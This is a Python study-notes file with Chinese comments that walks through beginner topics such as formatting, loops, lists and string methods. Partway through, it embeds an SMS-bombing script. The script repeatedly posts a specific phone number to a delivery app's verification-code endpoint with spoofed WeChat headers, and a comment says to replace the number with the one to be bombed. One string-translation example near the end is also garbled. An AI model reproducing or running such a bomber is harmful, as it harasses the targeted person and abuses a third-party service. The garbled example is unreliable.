#!/usr/bin/python
#-*- coding:utf-8 -*-
#逗號和加號的用法：
#name = input ("what's your name:")
#print ("hello"  , name) 打印出括號裡面的兩個字串拼接，用逗號或加號都可以
#username = input ("username:")
#password = input ("password:")
#print ("hello!","your",username,password)
#int的用法：
#name = input("name:")
#age = int (input ("age:")) 用int把括號裡面的字串轉換成數字
#job = input ("job:")
#hometown = input("hometown:") 複製上一行快捷鍵Ctrl+D,用int把括號裡面的字串轉換成數字
#格式化輸出名字、年齡、工作、家鄉的a簡寫：
'''info = """
------------- info of %s ----------
Name:    %s
Age:     %s
Job:     %s
Hometown:%s
-------------- end -----------------
""" % ('name','name','age','job','hometown')'''
#print(info)
#定義%s為佔位符
# s = string指的是字串
# d = digit指的是整數
# f = float指的是小數
#檢視資料型別用type：
'''print(type(name),type(age)) #檢視資料型別用type'''
#次方的用法：
'''print(2**32) 打印出2的32次方'''
#取整除用法：
'''
print(10//2)輸出取整除
print(10//3)輸出取整除,會把餘數去掉
'''
#判斷的用法：
'''
a = 10
b = 20
print(a == b) 判斷a等於b
print(a>b) 輸出判斷a是否大於b的結果
print(a!=b) 判斷a不等於b
'''
#流程控制單分支：
'''AgeOfOldboy = 56

if AgeOfOldboy > 50 :

    print("Too old, time to retire.. ")'''
#流程控制多分支：
'''age_of_you = 25

if age_of_you > 26 :
    
    print("time to find a bf.")
else:

  print("--------hahhh")
'''
#流程控制多分支：
'''age_of_old = 25
if age_of_old > 29:
    print("time to find a bf. ")
 else:
    print("還可以再談及此戀愛....")

 print("-------------hahah") #指的是雙分支'''

#作業1#練習：練習輸入姓名、性別、判斷如果是女生、列印我喜歡女生、否則一起來搞基
'''_name = "zd"
_sex = "girl"

name = input("name:")
sex = input("sex:")

if sex == _sex :
    print("我喜歡女生")
else:
    print("一起來搞基!")'''
#作業2 練習輸入姓名、性別、年齡、判斷如果是女生並且年齡小於28歲、列印我喜歡女生、否則列印姐弟戀也很好奧！
'''_name = "zd"
_sex = "girl"
_age = "24"
name = input("name:")
sex = input("sex:")
age = int(input("age")) #此處注意轉換用int
if sex == _sex and age <28 :
    print("我喜歡女生")
else:
    print("姐弟戀也很好奧!")'''
#作業3練習輸入姓名、性別、年齡、判斷如果是女生並且年齡小於28歲、列印我喜歡女生、否則列印姐弟戀也很好奧！,如果是男生，列印一起來搞基
'''_name = "shanshan"
_sex = "girl"
_age = "25"
name = input("name:")
sex = input("sex:")
age = int(input("age")) #此處注意轉換用int
if sex == "f":
    if age < 28 :
        print("I love girls")
    else:
        print("姐弟戀也很好")
else:
    print("一起來搞基")'''
#作業4猜年齡遊戲：
'''age =26
user_guess = int(input("you guess:"))
if user_guess == age :
  print("恭喜你答對了，可以抱得傻姑娘回家！")
elif user_guess < age :  #多條件判斷用elif
  print("try bigger")
else:
  print("try smaller")'''
#作業5匹配成績小程式分等級：
'''score = int(input(">>:"))
if score > 100:
    print("成績最多是100")
elif score >=90:
    print("A")
elif score >= 80:
    print("B")
elif score >= 60:
    print("C")
elif score >= 40:
    print("D")
elif score >= 0:
    print("E")
else:
    print("成績不能是負數")'''
#while迴圈--當什麼什麼的時候
'''語法：
   while 條件：
       執行程式碼 '''
#練習一：寫出0到100的程式，每迴圈一次+1
'''count = 0 #首先定義一個變數開始是0
while count <= 100 : #注意冒號是在英文狀態下寫的，迴圈到小於等於100截止，
    print("loop",count) #打印出count值，loop是迴圈的意思
    count += 1 #每執行/迴圈一次加1，就把上面定義的變數count加1，要不就變成了死迴圈、因為count一直是0
print('--------loop is ended--------' ) #最後再列印個迴圈結束了'''
'''上面整段程式碼的意思是首先定義一個變數count是0並從0開始執行，然後接下來判斷是否小於或等於100，然後打印出0、
1、2、3、4一直到100為止，count += 1意思就是，第一次打印出來是0、然後接下來count += 1，讓上面打印出來的count是
0依次加1，走到count += 1後又回到while count <= 100判斷是否小於等於100、若成立的話繼續打印出下面迴圈上來的
count值，最後再列印個迴圈結束了'''
#練習二列印1到100偶數
'''count = 0
while count <= 100 :
    if count % 2 == 0 : #如果上面的數除以2餘數是0的話,那麼這個數就是偶數，
        print("loop",count)     #只要滿足上面的數取模餘數是0的話打印出這個數
    count += 1              #根據上面的這個數迴圈加1，不管count是否奇偶數
print('------------loop is end------------') #打印出最後迴圈結果'''
'''舉例子：0 / 2 = 0 餘數是0，但是餘數是0，所以照常打印出來
          1 / 2  = 0,餘數是1，所以不打印出來，等於1的情況是在上面第一次count等於0的情況下滿足下面的條件count+= 1所以等於1
          2 / 2  = 1,餘數是0，所以照常打印出來，等於2的情況是在上面第二次count等於1的情況下滿足下面的條件count+= 1所以等於2
          3 / 2  = 1,餘數是1，所以不打印出來
          4 / 2  = 2,餘數是0，所以照常打印出來
          5 / 2  = 2,餘數是1，所以不打印出來'''

#練習三第50次不列印、第60-80列印平方
'''count = 0
while count <= 100 :
    if count ==  50:
        pass #就是過
    elif count >=60 and count <= 80 :
        print(count*count)
    else:
        print("loop",count)
    count += 1
print('------------loop is end------------')'''
#字串的三種拼接和乘法：
'''name = "Alex"
age = "22"
print(name,age)
print(name+"age")
print(name + age )
print(name * 10)
'''
#布林型別：true or false--------主要用於邏輯判斷
'''a = 10
b = 15
print(a<b)
print(a>b)
'''
# -*- coding:utf-8 -*-
# -*- 易公子 -*-
# 簡訊轟炸雞，把其中的13385458569換成你要轟炸的號碼就行了
'''
import  requests #此處需要建立一個模板
import time
for i in range(10):
    headers = {'Host': 'user.mapi.jiashuangkuaizi.com', 'Content-Type': 'application/x-www-form-urlencoded',
               'Accept-Encoding': 'gzip, deflate', 'Connection': 'close', 'Accept': '*/*',
               'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Mobile/14G60 MicroMessenger/6.6.6 NetType/WIFI Language/zh_CN',
               'Referer': 'https://servicewechat.com/wx712367736f80857d/15/page-frame.html', 'Content-Length': '109',
               'Accept-Language': 'zh-cn'}
    data = 'phone=13385458569&_platform=wxapp&_version=3.9.8&_osversion=wxapp&_device=wxapp&_city=110100&utoken=undefined'

    x = requests.post('https://user.mapi.jiashuangkuaizi.com/Passport/sendVerificationCode', data=data, headers=headers)
    print(x.text)
    time.sleep(61)
'''
#字串的格式化輸出name、age、job、hometown完整程式碼：
'''name = input ("Name:")
age = input ("Age:")
job = input ("Job:")
hometown = input ("Hometown:")
info = """
-------------info of %s----------
Name :        %s
Age  :        %s
Job  :        %s
Hometown :    %s
-------------end-----------------
""" % (name,name,age,job,hometown)

print(info)'''

#必須輸入數字的設定：
'''name = input ("Name")
age = int(input ("Age")) #注意加int
job = input ("Job")
hometown = input ("Hometown")
info = """
---------------info of %s------------
Name :            %s
Age  :            %d #注意改變成d
Job  :            %s
Hometown :        %s
------------------end----------------
""" %  (name,name,age,job,hometown)

print(info)'''

#檢視資料型別：
'''name = input ("Name")
age =input ("Age")
job = input ("Job")
hometown = input ("Hometown")

print(type(name),type(age))'''

#加int後檢視資料型別：
'''name = input ("Name")
age = int(input ("Age"))
job = input ("Job")
hometown = input ("Hometown")

print(type(name),type(age))
'''

#會變成小數的寫法：
'''name = input ("Name")
age = int(input ("Age"))
job = input ("Job")
hometown = input ("Hometown")
info = """
---------------info of %s------------
Name :            %s
Age  :            %f
Job  :            %s
Hometown :        %s
------------------end----------------
""" %  (name,name,age,job,hometown)

print(info)
'''

#資料型別三種：s = string(字串) ,d = dijit（整數）, f = float（小數）

#運算子：算術運算、比較運算、邏輯運算、賦值運算、成員運算、身份運算、位運算、
'''
+
-
*
/
% 取模，返回除法的餘數
** 返回x的y次冪
// 取整除，返回商的整除部分
'''
'''
a = 1+1
b = 1-1
c = 1*1
d = 1/1
e = 9%4
f = 3**4
g = 8//6
print(a,b,c,d,e,f,g)'''
#比較運算 ：假設 a = 10,b = 20
'''== 等於，比較物件是否相等
!= 不等於，比較兩個物件是否不相等
<> 不等於，
>= 大於等於
<= 小於等於
'''
#賦值運算：
'''
= ，例如：C = a+b
+=  加法賦值運算，例如：c += a等效於c = c + a 
-=  減法賦值運算，，例如 ：c -= a等效於c = c - a
*= 乘法賦值運算子，例如：c * a等效於 c = c*a
/= 除法賦值運算子，例如：c/a等效於 c = c/a
%= 取模賦值運算子，例如：c %= a等效於 c = c%a
** 冪賦值運算子，例如：c**=a等效於 c = c**a 
//= 取整除賦值運算子， 例如：c//=a等效於c = c//a
'''
# +=加法賦值運算的用法：
'''a = 10
b = 20
c = 3
print(a,b,c)
print(c+a) #打印出c加上a,也就是3加上10
print(c) #再重新輸出c
msg = c + a #定義一個變數msg
print(c+msg)  #基於上面輸出c的結果再打印出c等於c加上a如何寫？:先定義一個變數再重新加值
print(type(msg)) #檢視定義變數msg的資料型別
print('c+msg') #若想實現字串的結果的話加引號？
#print int(c) += int(a) #??????
'''
#查資料型別 ：
'''d =12
print(d)
print(type(d)) #檢視d的資料型別，型別是整數
print ('d') #整數轉字串的寫法是加上引號'''
#+=的完整寫法：先用c += a,然後再print(c)
'''a = 10
b = 20
c = 3
c += a
print(c)
c += a
print(c)
c -= a
print(c)
b -= c
print(b)
b *= a
print(b)'''
#邏輯運算：and、or、not
'''a = 10
b = 20
msg = (a ==10 and b == 20) #and的用法
print(msg)
msg1 = (a ==10 or b ==21) #or的用法
print(msg1)
msg2 = not a==2 or b==24
print(msg2) #not的用法，a等於2，b等於24就是這個結果是錯誤的，然後前面再加個否的相反的表示正確的
'''
#輸出使用者名稱密碼判斷：
'''_username = "shanshan" #先規定/設定好變數使用者名稱是shanshan
_password = "abc123" #再規定/設定好密碼password是abc123
username = input("name:")
password = input("password:")
if username == _username and password == _password :
    print("welcome",username)
else:
    print("wrong username or password!")
'''
#死迴圈程式寫法：
'''count = 0
while True :
    print("forever 21 ",count)
    count += 1'''
#迴圈終止語句：break
'''count = 0
while count <= 100:
    print("loop",count)
    if count == 5:
        break
    count += 1 #每執行一次迴圈加1，要不然就變成了死迴圈
print("------------out of while loop-----------")'''
'''上面整段程式碼的意思是從0開始，小於等於100，如果count等於5後停止迴圈'''
#迴圈終止語句：continue
'''count = 0
while count <= 100:
    print("loop",count)
    if count == 5:
        continue
    count += 1 #每執行一次迴圈加1，要不然就變成了死迴圈
print("------------out of while loop-----------")'''
'''上面整段程式碼的意思是從0開始，小於等於100，如果count等於5後,continue下面的count += 1就不走了，就在成了死迴圈'''
#列印1到5和95到100的程式：
'''count = 0
while count <= 100:
    count += 1
    if count > 5 and count < 95 :
        continue
    print("loop",count)
print("-------------out of while loop-------------------")'''
'''上面整段程式碼的意思是count值從0開始、count小於等於100、下面count加1、如果count大於5小於95、那麼就停止這個
範圍、繼續執行範圍以外的程式、但是程式執行完畢的小於等於100、最後列印的101是因為當count是100的時候繼續執行
下面的加1完畢這最後一次的'''
#練習一：繼續優化猜年齡遊戲、允許使用者最多猜三次、中間猜對了、直接跳出迴圈、
'''count = 0
age =26
while count< 3 :
    user_guess = int(input("you guess:"))
    if user_guess == age :
      print("恭喜你答對了，可以抱得傻姑娘回家！")
      break
    elif user_guess < age :  #多條件判斷用elif
      print("try bigger")
    else:
      print("try smaller")
    count += 1'''
#練習二：繼續優化猜年齡遊戲、允許使用者最多猜三次、猜了三次以後、再問是否還想玩、如果使用者選Y、則再次允許猜三次
#依次往復
'''count = 0
age = 26
while count < 3 :
    user_guess = int(input("you guess:"))
    if user_guess == age :
        print("恭喜你答對了，可以抱得傻姑娘回家！")
        break
    elif user_guess < age :
        print("try bigger")
    else :
        print("try smaller")
    count += 1
    if count == 3 :
        choice = input("你個笨蛋，沒猜對，還想繼續麼？(y|Y)")
        if choice == 'y' or choice == 'Y' :
            count = 0 #重置為0'''
#while ... else 語法：；
#練習一執行0到5的程式碼：
'''count = 0
while count <=5 :
    print("Loop",count)
    count += 1
else :
    print("迴圈正常執行完了")
print("------------out of while loop----------")'''
#練習二運用break、打印出0到3
'''count = 0
while count <= 5 :
    print("Loop",count)
    if count == 3 :
        break
    count += 1
else :
    print("loop is done...")
print("out of loop")'''
#debug除錯：
'''count = 0
while count<10:
    print('loop',count)
    if count == 3 :
        continue

    count += 1'''
#快速打印出數字的二進位制格式的語法：
'''print(bin(342)) #0b代表二進位制
print(bin(50000))'''
'''print("你好")'''
#如何通過一個變數儲存公司所有員工的名字用列表：
'''name = "shanshan, longting ,Alex"
print(name)
print('Alex' in (name)) #判斷Alex是否在變數name裡面'''
#資料型別-列表：
'''列表的功能：
建立
查詢
切片
增加
修改
刪除
迴圈
排序
L1 = [] #定義空列表
L2 = ['a',[b],[c],[d]] #存4個值，索引為0-3
L3 = ['abc',['def','ghi']] #列表巢狀'''
'''#建立列表：
name = ['shanshan','longting'] #賦變數列表
print(name) #列印
names = [] #賦空列表
print(names) #列印'''
#查詢列表：
'''L2 = ['a','b','c','d','a','e',1,2] #建立
print(L2[2]) #通過索引取值，因為索引是從0開始的，
print(L2[-1]) #通過索引取最後一個值
print (L2.index('d')) #查列表裡面1的索引值用index
print(L2[6]) #打印出L2列表中索引值是第六位的值'''
#建立列表、拿到索引值、定義變數、再拿到索引值裡面的索引值
'''n2 = ['shanshan','longting','Alex',1,3,4,4,5,6,7,7,8,9,9,0,0,2,3,4,4] #創建出列表
print(n2.index(1)) #查列表裡面1的索引值用index不加冒號--------------------這是通過知道列表裡面的值查索引值寫法
print(n2.index('Alex')) #查列表裡面Alex字母的索引值用index需要加冒號----------這是通過知道列表裡面的值查索引值寫法
print(n2) #打印出列表
print(n2.index(4)) #打印出列表裡面4的索引值是5
i = n2.index(4) #定義變數上方
print(n2[i]) #打印出在索引值是5的基礎上找出n2列表裡面的值是什麼的程式碼應該怎麼寫？------這是通過知道索引值查列表裡面的值的寫法。
print(n2[n2.index(4)]) #另外一種寫法，這是通過知道索引值查列表裡面的值的寫法。
print(n2) #再次帶引出n2
print(n2.count(4)) #打印出列表裡面4的個數用count
print(n2[0-2]) #打印出0減去2等於負2，也就是倒數第二個值4
print(n2[0:3]) #打印出前三位、典型的顧頭不顧尾、也就是切片
print(n2[3:7]) #切中間
print(n2[-5:-1]) #切倒數後5個
print(n2[-5:]) #另外一種寫法切倒數後5個
print(n2[0:3]) #取前三個
print(n2[:3]) #取前三個
print(n2[:]) #取第一個到最後一個
print(n2[:7]) #取0到7
print(n2[:]) #取全部
print(n2[:7]) #
print(n2[:7:2]) #跳著取0到2到4到6取得是偶數，1、3、5都不要了
print(n2[:7:1]) #取0到7依次取
print(n2[:-1:3]) #取0到最後一箇中間隔開兩個，從第三個依次取3、5、7、9，專業術語叫step步長
print(n2[::2]) #從0取到尾按兩部走用再冒號
print(n2)
n2.append('peiqi') #追加用append,也就是追加到最後一個值
print(n2)
n2.insert(0,'abc') #指定位置追加用插入insert+索引值+值
print(n2)
n2.insert(2,'Alex') #
print(n2)
n2[2] = 'peiqi' #改變位置的名字直接用等號加後面的值就可以了
print(n2)
n2[3] = '龍婷' #附值中文也一樣
print(n2)
n2[4:6] = 'JACK LIU' #批量修改/區間修改
print(n2)
n2.pop() #刪除最後一個
print(n2)
n2.remove('abc') #刪除值用remove,此處注意因為abc是字串所以要加引號
print(n2)
n2.remove(4) #從左邊依次找刪除第一個4，此處是數值所以不用加引號
print(n2)
del n2[2] #全域性性刪除用del+指定某個位置
print(n2)
#del i #變數也可以刪除
#print(i)''' #
'''del n2[2:6] #批量刪除
print(n2)'''
#迴圈列表：
'''L2 = ['a','b','c','L','I','e',1,2]
for i in L2: #in L2意思就是迴圈L2列表，in L2就是把這個列表裡面的每一個值賦給這個i，i是一個臨時變數，
    print(i) #執行下面的語句，第一次迴圈列印a,第二次迴圈列印b，第三次迴圈列印c，往後依次類推'''
# L3 = ['a', 'b', 'c', 'L', 'I', 'e', 1, 2]
# for k in L3:  # in L2意思就是迴圈L2列表，in L2就是把這個列表裡面的每一個值賦給這個i，i是一個臨時變數，
#     print('loop',k)
#生成0到10的列表
'''k = range(10) #自動生成0到10的列表用range
print(k) #如何打印出來上面自動生成的列表？這句程式碼應該怎麼寫？
for i in k:
    print(i)'''
#第二種寫法生成0到10的列表
'''range(10) #自動生成0到10的列表用range
for i in range(10) :
    print(i)'''
#while迴圈和for迴圈的區別？
'''while可以是死迴圈，for是有邊界的'''
#for排序：
'''n = ['a','e','b',1,34,2,'c']
print(n) #列表是通過索引排序的
n.remove(1)
n.remove(34)
n.remove(2) #刪除整數值
n.append('z') #追加z值
n.insert(1,'y') #指定位置插入值
print(n)
n.insert(3,'A') #插入大寫的值
print(n)
#n.sort() #排序用sort
n.sort() #a到z排序
print(n) #這個打印出的結果是按大寫在最前
n.insert(3,'#') #插入三的位置#號
n.insert(3,'*')
n.insert(1,'!')
print(n)
n.sort() #重新排序
print(n)#這個打印出的結果是按特殊字元在前，內部特殊排序是按照ASCLL表
n.reverse()#倒序排列用reverse
print(n)
n2 = [1,2,4]#再定義個表
print(n2)
n + n2 #兩個列表拼起來直接用+
print(n+n2)
n.extend(n2) #還可以用extend把兩個表拼起來
print(n) #n.extend（n2）後列印n就好了，是把n2這個列表加到n裡面,執行n.extend(n2)是沒有返回值的，所以是none
n.clear()#clear是把整個列表清空來了
print(n)
print(n2)#打印出n2已備後續引用
n2.copy()#複製列表用copy
n3 = n2.copy()
print(n3)'''
#建立列表+定義變數+改變列表裡面的某一個值+重新列印變數後給跟隨列表變動的玩法：
'''n = [3,4,5] #先建立列表
n4 = n #定義變數
n[1] = 'Alex' #改變變數裡面索引值所對應的值
print(n4) #重新列印變數後會跟隨變化後的列表變動而變動'''
#而如果用copy的話不會跟隨列表裡面的值變動而變動：
'''n = [3,'Alex',5]
n5 = n.copy()
n[2]='JACK'
print(n5) #上面四行程式碼的意思是先建立表、然後新複製一份之前建立的表，然後改變之前建立的表裡面的值後再重新打印出來複製的表
#                                          新變數一份'''
#作業練習：建立一個names列表：
'''names = ['Alex','jack','rain','mack','racheal','shanshan']
for i in names:#迴圈依次打印出來
    print(i)
count = 0
for i in names :
    print(count,i)
    count += 1 #打印出元素加上索引值的需求：第一種方法：先定義個count索引值從0開始，然後依次打印出count和迴圈，並且每次迴圈的時候都加1
print(enumerate(names))#第二種方法用enumerate中文是列舉,直接把索引值取出來,但是在python2和python環境裡面數不支援的
for i in enumerate(names):#第三種方法用enumerate完整版：
    print(i)
for index, i in enumerate(names):#然後不加括號的寫法加一個index+,+i：
    print(index,i) #index就是先取索引值，然後中間用逗號連線、再打印出i
#迴圈names列表，列印每個元素的索引值、元素、當索引值是偶數時把對應的元素值改成-1的需求：思路：迴圈的時候判斷索引是奇偶數，用取模
#如果是偶數、修改列表的值：列表名+中括號+值、總之一句話迴圈+判斷+修改
for index, i in enumerate(names):
    if index%2 == 0: #代表如果是偶數
        print(index,i) #上面三行程式碼是先迴圈取出索引、然後再列舉、緊接著判斷如果是偶數、那麼就打印出來索引和列舉、
# 緊接著在索引的過程中改掉索引值所對應的元素值就可以了，最終再次打印出來，程式碼在下方：
for  index ,i in enumerate(names):
    if index%2 == 0 :
        names[index]=-1
        print(index,i)
print(names)'''
'''#names裡面有3個2，請返回第二個2的索引值、不要人肉數、要動態找、：找到第一個2的基礎上在此基礎上再找第二個2的需求，程式碼在下方：
names = ['Alex','jack','peiqi',2,'rain','mack',2,'racheal','shanshan',2,'longtig']#重新定義表，
first_index = names.index(2) #先找到一個2的索引值、起個變數
new_list = names[first_index+1:]#接下來切片、從上面定義的變數開始切、first_index+1意思就是在第一次的基礎上從
#下一個開始找,本質也就是從rain開始找、：冒號就是一直到最後
second_index = new_list.index(2) #第二種寫法第三次繼續、在上一次的基礎上再計算出索引值是2的元素值打印出來,因為
#是在第二個2的基礎上找出嘛，唯一區別就是不加1
second_val = names[first_index+second_index+1] #其實second的值是names列表裡面的第一次first_index的值+
#second_index+1,本質也就是第一次的索引值3+第二次的在第一次的基礎上的3+1給打印出來
print(new_list,first_index,second_index)#打印出列表裡面的值+第一次的索引值+第三次的索引值
print('second values:',second_val) #合併打印出第一次的索引值+第三次的索引值+1擴住裡面列表的值
# print(first_index)
# print(new_list)
# print(second_index)'''
#自我練習如下：
'''a = [1,2,3,4,5,3,2] #建立列表
print(a.index(1)) #打印出列表裡面元素值是1的索引值用index
print (a[3]) #打印出a列表裡面/或叫定義變數a裡面索引值是3的元素值'''
#列印商品列表如下：
'''products = [['Iphone8',6888],['MacPro',14800],['小米6',2499],['Coffee',31],['Book',80],['Nike Shoes',799]]
print("-----------------商品列表--------------------") #首先打印出商品列表的蓋子
for index,p in enumerate(products): #思路：首先迴圈打印出來用for、索引值的話用enumerate、前面再加index
    #print(index,p[0],p[1]) #打印出索引值、小列表的索引值0、小列表的索引值1
    print("%s. %s   %s" %(index,p[0],p[1]))#通過格式化調下中間的距離'''
#寫一個迴圈、不斷的問使用者想買什麼、選擇一個商品編號後、把所對應的商品放到購物車裡面、終端使用者輸入Q退出時、
#打印出購物車來裡面的商品、程式碼如下：
'''products = [['Iphon8',6888],['MacPro',14800],['小米6',2499],['Coffee',31],['Book',80],['Nike Shoes',799]]
shopping_cart = []
#run_flag = True #設定標誌位預設等於False、就預設是不退出的、
exit_flag = False
#while run_flag : #若改成while run_flag預設開始的時候是執行的、
while not exit_flag :#若開始的時候就不是不執行的、意思也就是執行的、只不過在前面加了個not而已
    print("--------------商品列表----------------------")
    for index,p in enumerate(products):
        print("%s.  %s       %s"  %(index,p[0],p[1]))
    choice = input("輸入想買的編號：")#詢問使用者想買的編號,此處注意input輸入的都是字串、所以要用int轉成字串
    if choice.isdigit(): #判斷使用者輸入的值長得像不像數字用isdigit
        choice = int(choice) #就都轉成數字了
        if choice >=0 and choice<len(products):#如果使用者輸入的值大於等於0小於列表的長度就把值加進去（結合下面兩行程式碼看）
            shopping_cart.append(products[choice])
            print("Added product %s into shopping cart."%(products[choice]))#接下來打印出使用者輸入的值在列表裡面所對應的值
        else:
            print("商品不存在")
    elif choice == 'q': #再如果輸入個q退出時
        if len(shopping_cart)>0: #在這裡再加個判斷如果使用者直接退出的話那麼直接執行下面的程式碼購買的哪些商品
            print("-----------你已購買以下商品-------------") #再次打印出
            for index,p in enumerate(shopping_cart): #再加for迴圈
                print("%s.   %s     %s" %(index,p[0],p[1])) #依然是再次打印出
        #break #最終再次加一個break作為最終退出
        #run_flag = False#在這裡可以用另外一種寫法開始的時候是成立的執行while true的死迴圈、然後接下來在這裡
# 寫成不成立用標誌位、若不想上面的程式碼執行的話，此處需要將run_flag改成False
        exit_flag = True #第三種反向寫法
        print(len(products)) #拿到列表的長度用len、但是是從0開始的、所以只能到5、要大於等於0小於6（列表的長度）'''
        #如果輸入個回車後也不會報錯、因為用的isdigit長得像、回車也不像數字也不像q所以就繼續迴圈執行了
#思路：首先要建立一個列表、並且再建立一個空列表/購物車（已備後續打印出的值放到我這個空的購物車裡面存起來）、
#while True是是不停的迴圈打印出下面的程式碼索引值加價格、
#判斷長的像不像
#print('3345678+3'.isdigit())
#拿到列表的長度用len，全稱length，
#---------------------------------------------記憶體地址ID
'''names = ['alex','jack','1','mack','racheal','shanshan']
print(names)
print(id(names)) #查整個列表的記憶體地址
print(id(names[0])) #查列表裡面每個元素的索引值的記憶體地址
#print(id(names[1])) #查列表裡面每個元素的索引值的記憶體地址、每個元素都是獨立的記憶體地址
a = 1
b = a
print(b) #這裡打印出的是b對應的a的記憶體地址'''
#---------------建立n2表和names表
'''names = ['alex','jack',3,'mack','racheal','shanshan']
n2 = ['alex','jack',3,'mack','racheal','shanshan']
print(n2)
print (names[2])#打印出names表裡面索引值是2的元素值，索引轉元素不加index
names[2] = '-1' #重新賦值names列表裡面索引值是2的元素值改成-1
print(names)
print(n2)
#print (names.index('mack')) #打印出names表裡面元素值是3的索引值,元素值轉索引用index
names.append(['longting',24]) #重新往names列表裡面增加一個小列表longting,24
print(names) #
print(n2)
n3 = names.copy() #這裡用copy為的是已備後續用
print(n3)
print(names[0]) #打印出names表裡面索引值是0的元素值
names[0] = "Alex Li" #改變索引值對應的元素值
print(names)
print(n3) #再次打印出是不會改變的、因為是用的copy複製、完全獨立了
print(names[-1])
print(names)
names[-1][0] = "龍婷" #改變longting的值為中文龍婷
print (names[-1][0]) #兩行程式碼實現改變longting的值為中文龍婷/打印出改變的值
print(names)
#print (names.[-1][0]= '龍婷') #一把過改變longting的值為中文龍婷
print(n3)#再次打印出之前複製的列表n3、複製的列表會跟隨之前的列表裡面的值改變而改變
print(id(names),id(n3))#打印出names列表和n3列表的記憶體地址
print(id(names[1]),id(n3[1]))#打印出names列表裡面索引值1和n3列表裡面索引值1的記憶體地址結果是一樣的
print(n3)
print(n3[1])#打印出n3列表裡面索引值1的元素值
n3[1] = 'jack ma'#改變n3列表裡面索引值1的元素值
print(n3)
print(id(names[1]),id(n3[1]))#打印出names列表裡面索引值1和n3列表裡面索引值1的記憶體地址
names[-1][0] = 'LT' #再次改變值
print(n3)
print(names) #其實都在共享這一份子列表、所以會跟這變。淺層次的修改的話n3和names不會完全獨立、但是需要完全獨立的話需要用到深copy
import copy #完全copy就是深copy、就匯入一個用import、呼叫工具箱
n4 = copy.deepcopy(names) #
print(n4)
print(names)
print(names[-1][0])#再次找到names的[-1]和[0]
names[-1][0] = 'LongTing'#再次改變值LongLing
print(names)
print(n4) #再次打印出n4後不會跟著變、因為上面用的深copy、放在工具箱的用途是不長用'''
#字串：不可變
'''s = 'Hello World!'
print(s.swapcase()) #小寫變大寫、大寫變小寫
s = 'Hello World!'
print(s.capitalize()) #
#Return a capitalized version of S, i.e. make the first character返回一個capitalized首字母是大寫的、
# version of S字串、make the first character have upper case and the rest lower case把第一個字母大寫
#其他小寫
#casefold(self): # real signature unknown; restored from __doc__S.casefold() -> str
# Return a version of S suitable for caseless comparisons把大小寫去掉、全部變成小寫、
s = 'HELLo WorlD!'
print(s.casefold())
#center(self, width, fillchar=None):  # real signature unknown; restored from __doc__
# S.center(width[, fillchar]) -> str
# Return S centered in a string of length width. Padding is
# done using the specified fill character (default is a space)--返回中長度、中間是所填的東西
print(s.center(50,'*'))
print(s.center(50,'-'))#商品列表的話就不用自己搭中間的架子了、總長是50、值再中間
print(s.count('o')) #統計字母o有幾個
print(s.count('o',0,5)) #統計區間字母o有幾個
print(s.endswith('!'))#判斷是不是以歎號結尾
print(s.expandtabs())#擴充套件TAB鍵
s2 = 'a\tb'#
print(s2)
print(s2.expandtabs(20))#把TAB鍵的預設長度變長
print(s.find('o'))#查詢索引用find
print(s.find('o',0,3))#find也可以啟始查區間
print(s.find('o',0,5))#find也可以啟始查區間
s3 = 'my name is {0}, i am {1} years old'
print(s3)
print(s3.format('Alex',22)) #format的意思是字串的格式化輸出、把括號裡面的第一個值賦到了第一個大括號裡面、
# 第二個值賦到第二個大括號裡面
s3 = 'my name is {0}, i am {0} years old'#賦予第二個值等於第一個值
print(s3.format('Alex',22))#
s3 = 'my name is {name}, i am {age} years old'#這是直接賦值
print(s3.format(name='Alex',age= 22)) #這是直接賦值'''
#index
'''s = 'Hello World!'
print(s.index('o'))#打印出第一個o的索引值
#print(s.index('o',5,6))#打印出第一個o的索引值區間在5到6、結果是沒有那個o
print('22d'.isalnum()) #判斷是不是阿拉伯用isalnum：數字和字母、結果是對的true、注意用小數點號
print('22d!'.isalnum()) #判斷是不是阿拉伯用isalnum：數字和字母、結果是對的False、注意用小數點號
print('dd'.isalpha()) #判斷是不是字元是用isalpha
print('22'.isdecimal()) #判斷是不是數字是用isdecimal/也可以用isdigit
print('22'.isdigit())#
print('333'.isidentifier())#判斷是不是合法的變數用isidentifier、變數不能以數字開頭
print('3ddd33'.islower())#判斷是不是都是小寫用islower
print('33ddd232'.isnumeric()) #判斷是不是隻有數字在裡面用isnumeric？？？
print('333'.isprintable())#判斷這個值能不能被列印用isprintable
print(s.istitle())#判斷所有的值的第一個字元是不是大寫用istitle
names = ['alex','jack','rain']
print(names)
print(''.join(names)) #把列表變成字串用join
print(' '.join(names)) #分離的話就加空格
print('--'.join(names)) #把列表變成字串以後以什麼區分元素用join
print(s.ljust(50))#填列表的長度用ljust
print(s.ljust(50,'-'))#填值
print(s.lower())#全變成小寫
print(s.upper())#全變成大寫
print(s.strip())#脫掉空格用strip
s += ' '#加空格
print(s)
s='\n hello world '#換行用\斜槓n
print(s)
print(s.strip())
print(s.lstrip())#只拖左邊不脫右邊
print(s.rstrip())#只拖右邊不脫左邊
str_in = 'abcdef'
str_out = '
 
[email protected]#$%^'
print(str.maketrans(str_in,str_out))#對應對映關係用maketrans、來源於ASCLL表
table = str.maketrans(str_in,str_out) #再次定義這樣對應表
s = '\n hello world'
print(s)
print(s.translate(table))#把對應的表再次翻譯'''
#partition的用法：
'''s = '[hello world]'
print(s.partition('o'))#把裡面的值分成兩段重新定義中間的值???

s1 = ['hello world']
print(s1.partition('o'))#----無效？？？'''
#replace替換的用法：
'''s = 'hello world'
print(s.replace('h','H'))#替換小寫字母變成大寫用replace
print(s.replace('o','-'))#預設全換加區間就可以了從o一直都倒數第一個
print(s.replace('o','-',1))#只換一次加1就可以了
print(s.rfind('o'))#從右邊往左找先找到第一個字母o在第幾個位置
print(s.rindex('o'))#從右邊開始找索引
print(s)
print(s.rpartition('o'))#從右邊開始分
print(s.split())#分成了列表、預設以空格分
print(s.split('o'))#可以指定按o分
print(s.rsplit('o',1))#分一次
s = 'a\nb\nalex\nc'
print(s.splitlines())#按行來分
s = 'hello world'
print(s.startswith('he'))#判斷以什麼開始用startswith
print(s.endswith('d'))#判斷以什麼結束
print(s.title())#把首字母變成大寫
print(s.zfill(40))#寫一個長度 #-------------黑色背景如何轉？？？'''
#元組是有序的不可變的、相當於只讀列表
'''names = ('alex','jack')
#print(names.\tab)#此處需要打一個tab鍵/或者叫看方法值???
print(names[0])
names[0] = 22 #TypeError: 'tuple' object does not support item assignment型別錯誤、
